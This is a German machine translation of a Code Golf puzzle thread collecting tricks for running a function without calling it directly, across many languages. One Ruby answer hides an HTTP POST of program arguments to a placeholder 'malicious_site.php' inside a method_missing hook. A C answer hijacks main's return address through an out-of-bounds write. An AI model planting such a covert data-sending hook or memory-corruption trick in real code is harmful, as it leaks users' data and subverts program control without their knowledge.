Eine Methode aufrufen, ohne sie aufzurufen [closed]


77

Inspiriert von einer nun gelöschten StackOverflow-Frage . Können Sie einen Weg finden, eine bestimmte Methode auszuführen, ohne sie explizit aufzurufen? Je indirekter es ist, desto besser.

Folgendes meine ich genau (C dient nur zur Veranschaulichung, alle Sprachen werden akzeptiert):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Ursprüngliche Frage: Bildbeschreibung hier eingeben


58
+10471 ... nice
qwr

29
Ich frage mich, wie viel Wiederholung Sie brauchen, um Stapelüberlauf zu überlaufen?
PyRulez

34
Anscheinend ist dies eine Screencap von @Mysticials Account, der den Avatar sieht. Mysticial, könnten Sie bitte einfach auf Ihren Repräsentanten-Tab klicken?!?!?!
Türklinke

4
@Doorknob Warum sollte er? Alles kommt aus einer Antwort.
FDinoff

8
@PyRulez Jon Skeet hat noch nicht, so dass wir sicher für jetzt .
Cole Johnson

Antworten:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Wenn mit GCC kompiliert, ersetzt die Compiler printf("Goodbye!\n")mit puts("Goodbye!"), was einfacher ist , und sollte gleich sein. Ich habe meine benutzerdefinierte putsFunktion im Handumdrehen bereitgestellt , sodass sie stattdessen aufgerufen wird.


1
@ user17752 Dies ist eigentlich eine Transformation, die GCC sogar bei -O0 vornimmt. (GCC 4.8, sowieso. Vielleicht brauchen andere Versionen einige andere Optionen.)
hvd

1
Entschuldigung, mein Fehler, ich habe vergessen, dass ich Clang für mein Macbook verwendet habe.
DarkHeart

@ user17752 Danke, ich hatte nicht mit anderen Compilern getestet, schön zu wissen, dass Clang zumindest eine Option hat, um die gleiche Transformation zu erhalten.
HDV

Glückwunsch! Ein Gewinner bist du!

84

Wie kann Malware Funktionen ausführen, die nicht im Code aufgerufen werden? Durch überlaufende Puffer!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Auf meinem System wird die Rücksprungadresse von mainzufällig 3 Wörter über der ersten lokalen Variablen gespeichert. Durch Verwürfeln dieser Rücksprungadresse mit der Adresse einer anderen Funktion main"kehrt" zu dieser Funktion zurück. Wenn Sie dieses Verhalten auf einem anderen System reproduzieren möchten, müssen Sie möglicherweise 3 auf einen anderen Wert einstellen.


Schlagen Sie mich zu (+1) - das ist die offensichtliche C-Lösung.
Komintern

20
Verwenden Sie <!-- language: lang-c -->zwei Zeilen vor Ihrem Code, um ihn hervorzuheben.
Victor Stafusa

9
Alles Gute, @Victor, Syntax-Highlighting-Held!
Jason C

@ Victor ist das offiziell dokumentiert? Wenn ja, wo?
Thorbjørn Ravn Andersen


75

Bash

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
Ausnahmebehandlung. Der andere Methodenaufruf!
Phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Hier sind einige von den anderen Antworten inspirierte Möglichkeiten:

  1. Code direkt ausführen

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Dies ist die beste Möglichkeit, die Funktion wirklich nicht aufzurufen.

  2. mit dem Destruktor

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Verwenden der Standard-E / A

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. Verwenden von Attributsuchen

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Der Importmechanismus

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Naja ich denke das ist alles .. ich kann jetzt nichts importieren. Nein warte ..

  6. Verwenden der get-item-Klammern []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Globale Variablen verwenden. Mein Favorit!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloist ein Zugang zu d['hello']. Danach scheint die Welt grau.

  8. Meta Klassen;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Verwenden von Iteratoren (Sie können jeden Operator überladen und verwenden)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Fehler!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Frameworks rufen Sie zurück. Fast jede GUI verfügt über diese Funktionalität.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Führe den Quelltext aus (func muss in einer Datei sein)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Dekorateure

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. mit Pickle-De-Serialisierung (die wenigsten Favoriten kommen)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Serialisierung verwenden

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Weitere Python-Antworten:


1
Schöne Sammlung, aber du hast die Fäden vergessen . ;)
nyuszika7h

Diese Antwort ist absurd. +1
Asteri

Dies ist Python 3
Braden Best

1
Viele dieser Beispiele funktionieren auch mit Python 3. Die angezeigte Meta-Klasse und das Auslösen von Ausnahmen funktionieren in Python 3 nicht.
Benutzer

22

Javascript

Dieser benutzt JSFuck , um die Drecksarbeit zu erledigen.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Ich denke, das ist ein expliziter Funktionsaufruf. Nur eine sehr verschleierte.
Primo

3
@primo, es wird eine Zeichenfolge von Javascript zur Ausführung erstellen und das Function-Objekt abrufen, mit dem es aufgerufen werden soll. Zu diesem Zweck werden implizite Konvertierungen zwischen Typen verwendet. ZB ""ist eine Zeichenfolge und wird []mit 0 ausgewertet, ""[[]]ist also undefiniert und ""[[]]+""ist "undefiniert". Von dort können Sie einzelne Buchstaben herausziehen: (""[[]]+"")[[]]ist "u". Es ist also eher ein Hack, exec mit beliebigem Code aufzurufen. Ich denke das zählt?
Phil H

1
@PhilH Ich verstehe, wie es funktioniert. Entfernen Sie die letzten beiden Klammern: function anonymous() { x() }.
Primo

22

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Dies wird the_functionals Profilierungsfunktion festgelegt, die bei jedem Funktionsaufruf und bei jeder Rückkehr ausgeführt wird.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Ist das Python?
Hosch250

@ user2509848 Ja, das habe ich vergessen zu erwähnen.
Grc

Eine Nicht-C-Antwort! Ich würde gerne mehr sehen: D

@ Johnsyweb Siehe meta.codegolf.stackexchange.com/q/1109/9498 . Es ist nicht erforderlich, jeden einzelnen Beitrag zu bearbeiten, um die Syntaxhervorhebung einzuschließen, insbesondere wenn dies das Erscheinungsbild des Codes kaum beeinflusst (z. B. Funktionscode).
Justin

@ Quincunx: Anerkannt ged
Johnsyweb

18

C #

Wir können das DLR missbrauchen, um immer Code auszuführen, wenn Sie versuchen, eine Methode für eine Klasse aufzurufen . Dies ist etwas weniger billig / offensichtlich als Lösungen wie Delegates, Reflections, statische Konstruktoren usw., da die ausgeführte Methode nicht nur nie aufgerufen, sondern auch nie referenziert wird , auch nicht nach ihrem Namen.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Dieses druckt immer "Ha! Sie betrogen!" egal worauf du dich berufen willst a. Also könnte ich genauso gut schreiben a.SuperCaliFragilisticExpiAlidocious()und es würde dasselbe tun.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Dies ist sehr direkt, aber sicherlich kein Aufruf an hello_world, obwohl die Funktion ausgeführt wird.


16

Rubin

Inspiriert von wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

Sie können eine Funktion, die am Ende des Programms aufgerufen werden soll, in C registrieren, wenn dies Ihren Anforderungen entspricht:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Versuchte dies mit Java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Die Methode secretMethodNotCalledInMainwird nur durch Reflektion aufgerufen und ich suche nicht nach etwas, das aufgerufen wird secretMethodNotCalledInMain(stattdessen suche ich nach etwas, das nicht aufgerufen wird main). Darüber hinaus wird der reflektierende Teil des Codes außerhalb der mainMethode aufgerufen , wenn der nicht erfasste Ausnahmehandler des JDK aktiviert wird.

Hier ist meine JVM-Info:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Hier ist die Ausgabe meines Programms:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Ich hatte nicht damit gerechnet, dass diese NullPointerExceptionaus dem nativen Code geworfen werden, um die Reflektion zu handhaben. Aber, wie von @ johnchen902 erwähnt, weil es einige Methoden von erbt java.lang.Objectund ich sie schließlich auf nulls aufrief .


Das NPEsind keine JDK-Fehler. Sie werden ausgelöst, weil Sie versucht haben, Instanzmethoden aufzurufen, die java.lang.Objectwie toString()mit deklariert wurden null.
Johnchen902

@ johnchen902 Oh, natürlich. Danke. Ich habe es bearbeitet.
Victor Stafusa

14

C ++

Eine Möglichkeit in C ++ besteht im Konstruktor und / oder Destruktor eines statischen Objekts:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Ich dachte auch daran, new und delete zu überladen , aber ich denke, drei Antworten sind genug :)
fredoverflow

Werden Konstruktoren / Destruktoren in C ++ als "Methoden" betrachtet? In .NET und Java sind sie tatsächlich ein anderer Mitgliedstyp. Sie können einen statischen ctor nicht direkt aufrufen, auch wenn Sie möchten ...
Aaronaught

@Aaronaught: Nichts wird in C ++ als "Methode" betrachtet (zumindest von jedem, der weiß, wovon er spricht). Konstruktoren und Destruktoren sind Elementfunktionen. Sie sind jedoch "spezielle" Member-Funktionen (z. B. Konstruktoren haben keine Namen, sodass Sie sie nicht direkt aufrufen können).
Jerry Coffin

Nun, ich habe diesen Begriff nur verwendet, weil es das OP tat. Ich weiß, dass C / C ++ und fast jede andere Nicht-Java / .NET-Sprache Funktionen haben, keine Methoden. Der springende Punkt ist jedoch, dass sie nicht direkt aufgerufen werden können. Sie könnten argumentieren, dass ein Instanzkonstruktor technisch direkt aufgerufen wird new, und daher wäre es eine interessante Antwort, eine Möglichkeit zu haben , einen Konstruktor ohne aufzurufen new. Aber ich weiß nicht, statische Konstruktoren fühlen sich wie ein Betrüger an.
Aaronaught

@Aaronaught Wenn Sie einen Konstruktor für einen bereits zugewiesenen Teil des Speichers aufrufen möchten, können Sie schreiben new (p) foo(). Und Sie können ein Objekt zerstören, ohne den Speicher über freizugeben p->~foo().
Fredoverflow

12

C: Hallo Welt

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Ausgabe:

Hello World!

Um die Methode zu verlinken, muss printf () irgendwo im Programm kompiliert werden, muss aber nicht aufgerufen werden. Die Funktionen printf () und main () befinden sich im Codesegment 276 Byte voneinander entfernt. Dieser Wert ändert sich je nach Betriebssystem und Compiler. Mit diesem Code können Sie die tatsächlichen Adressen auf Ihrem System finden und sie dann einfach subtrahieren:

printf("%d %d\n", &printf, &main);

4
Das *Vorher mainist wirklich verwirrend und unnötig. mainIst eine Funktion, die Sie nicht dereferenzieren können. Sie verfällt implizit in einen Funktionszeiger, der dann dereferenziert wird, um wieder eine Funktion zu erhalten. Sie können ein int nicht von einer Funktion subtrahieren, daher verwandelt es sich wieder in einen Funktionszeiger. Du könntest genauso gut schreiben (*****main-276);) Du wolltest wahrscheinlich schreiben (&main-276)oder (*(main-276))stattdessen.
Fredoverflow

6
The * before main is really confusing and unnecessary.- Ist das nicht generell eine gute Sache auf dieser Seite?
James Webster

Ich hatte den Eindruck, dass der Standard sagte, dass ein wohlgeformtes Programm nicht verwendet werden soll main, es aber jetzt nicht finden kann ...
Damon

3
Sie nennen es ausdrücklich durch verschleierten Verweis
Nowayz

9

C (mit GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Dies führt dazu, dass ein Teil des von GCC ausgegebenen Codes in einem anderen Segment der Objektdatei landet, wodurch der Steuerungsfluss durch die Funktion "fallen" kann. Beachten Sie, dass dies nicht funktioniert, wenn GCC die Funktionen offensichtlich neu anordnet. Getestet mit GCC 3.4.6 auf MirBSD-current / i386 unter Verwendung von -O2. (Außerdem bricht es das Debuggen ab und kompiliert mit -gFehlern heraus ☺)


8

PHP ≥5.4.0

Diese Lösung ist zwar ein schreckliches Durcheinander, erfüllt aber die ihr übertragene Aufgabe (es gab keine Vorgabe, wie gut sie zu erfüllen ist).

Die Funktion zum Aufrufen ohne Aufrufen :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Die lösung :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Beispiel :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Mögliche Ausgaben:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Erklärung :

Liest beim Aufruf executeFunction()den Inhalt der aktuell ausgeführten Datei (was bedeutet, dass dies nur von CLI ausgeführt werden soll, wie es verwendet wird $argv), parst die Argumente und den Hauptteil der angegebenen Funktion aus und zerhackt alles wieder in einen neuen Block Code, eval()alles und das Ergebnis zurück. Das Ergebnis ist, dass getRandomString()weder direkt noch indirekt tatsächlich aufgerufen wird, der Code im Funktionskörper jedoch weiterhin ausgeführt wird.


Nun, zählt das Erstellen von __construct()Methoden in PHP, da Sie die Funktion nie direkt aufrufen, sondern new Something()stattdessen verwenden?
Damir Kasipovic

@ D.Kasipovic Irgendwie könnte man behaupten, dass Sie es immer noch direkt aufrufen, nur auf eine andere Art und Weise. Ich habe meinen aktuellen Ansatz gewählt, weil ich gerne über den Tellerrand hinaus denke. Ich hätte nur die Funktion als Callback registriert register_tick_function(), register_shutdown_function()oder spl_autoload_register()ähnlich wie @ grc Python Antwort, aber ich fühle mich wie das ist ‚Betrug‘ und die einfache Art und Weise herausnimmt.
Tony Ellis


7

T-SQL

Es ist eine eingebaute Funktion. Auslöser für den Gewinn!

Wenn Sie wirklich Spaß damit haben möchten, erstellen Sie am Aprilscherz eine Reihe von INSTEAD OF-Triggern.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

